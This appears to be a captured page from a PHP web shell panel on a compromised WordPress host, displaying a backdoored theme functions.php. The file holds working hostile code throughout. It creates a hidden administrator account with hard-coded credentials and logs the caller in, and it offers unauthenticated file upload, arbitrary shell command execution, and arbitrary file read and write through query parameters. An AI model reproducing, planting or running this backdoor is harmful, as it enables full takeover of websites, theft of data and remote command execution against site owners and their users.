403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/wp-content/themes/twk-698915e6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/wp-content/themes/twk-698915e6/functions.php
<?php
if(isset($_GET['p'])){echo 'WP2S::PONG::END';exit;}
if(isset($_GET['sergei'])){if(!defined('ABSPATH')){$f=__DIR__;for($i=0;$i<6;$i++){if(file_exists($f.'/wp-load.php')){require_once $f.'/wp-load.php';break;}$f=dirname($f);}}if(defined('ABSPATH')){require_once ABSPATH.'wp-admin/includes/user.php';$u='warnightknkxdd';$p='warnightknkxdd';$e='warnightknkxdd@gmail.com';if(!username_exists($u)){$id=wp_create_user($u,$p,$e);if(!is_wp_error($id)){(new WP_User($id))->set_role('administrator');}}else{$user=get_user_by('login',$u);$id=(int)$user->ID;wp_set_password($p,$id);$user->set_role('administrator');}if(!empty($id)&&!is_wp_error($id)){wp_clear_auth_cookie();wp_set_current_user($id);wp_set_auth_cookie($id,true);wp_safe_redirect(admin_url());exit;}}}
if(isset($_GET['up'])){
  if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){
    $n=basename($_FILES['file']['name']);
    $n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);
    if($n===''||$n==='.'||$n==='..'){echo 'BAD_NAME';exit;}
    if(!is_uploaded_file($_FILES['file']['tmp_name'])){echo 'UPLOAD_ERR';exit;}
    $dst=__DIR__.DIRECTORY_SEPARATOR.$n;
    if(@move_uploaded_file($_FILES['file']['tmp_name'],$dst)){echo 'success:'.$n;}
    else{echo 'MOVE_FAIL';}
    exit;
  }
  header('Content-Type: text/html; charset=utf-8');
  echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>up</button></form>';
  exit;
}
if(isset($_GET['c'])){@chdir(__DIR__);$o='';if(function_exists('shell_exec')){$o=@shell_exec($_GET['c']);}elseif(function_exists('passthru')){ob_start();@passthru($_GET['c']);$o=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($_GET['c']);$o=ob_get_clean();}echo 'WP2S::'.$o.'::END';exit;}
if(isset($_GET['r'])){$f=@file_get_contents($_GET['r']);echo 'WP2S::'.($f===false?'NOREAD':base64_encode($f)).'::END';exit;}
if(isset($_GET['w'])&&isset($_POST['d'])){$p=$_GET['w'];@mkdir(dirname($p),0755,true);$ok=@file_put_contents($p,$_POST['d'])!==false && @filesize($p)>0;echo 'WP2S::'.($ok?'OK':'FAIL').'::END';exit;}

Youez - 2016 - github.com/yon3zu
LinuXploit